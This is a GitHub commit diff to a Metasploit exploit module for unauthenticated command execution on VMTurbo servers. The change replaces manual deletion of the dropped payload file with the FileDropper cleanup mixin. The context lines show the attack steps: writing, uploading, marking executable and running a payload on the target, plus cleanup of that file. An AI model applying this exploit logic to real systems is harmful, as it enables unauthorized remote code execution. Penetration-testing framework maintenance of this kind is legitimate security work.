Skip to content

Commit 4790b18

Browse files
committed
Use FileDropper mixin to delete uploaded file
1 parent ac526ca commit 4790b18

File tree

1 file changed

+2
-8
lines changed

1 file changed

+2
-8
lines changed

modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb

Lines changed: 2 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
1010

1111
include Msf::Exploit::Remote::HttpClient
1212
include Msf::Exploit::EXE
13+
include Msf::Exploit::FileDropper
1314

1415
def initialize(info = {})
1516
super(update_info(info,
@@ -123,7 +124,7 @@ def unix_stager(data)
123124

124125
File.open(file_name, 'wb') { |f| f.write(data) }
125126
unix_upload(file_name, data)
126-
@to_delete = file_name
127+
register_file_for_cleanup(file_name)
127128

128129
request("/bin/chmod +x #{file_name}")
129130
request("#{file_name}&")
@@ -213,11 +214,4 @@ def exploit
213214

214215
unix_stager(@pl)
215216
end
216-
217-
def on_new_session(client)
218-
return unless defined? @to_delete
219-
220-
print_warning("Deleting #{@to_delete} payload file")
221-
request("/bin/rm #{@to_delete}")
222-
end
223217
end

0 commit comments

Comments
 (0)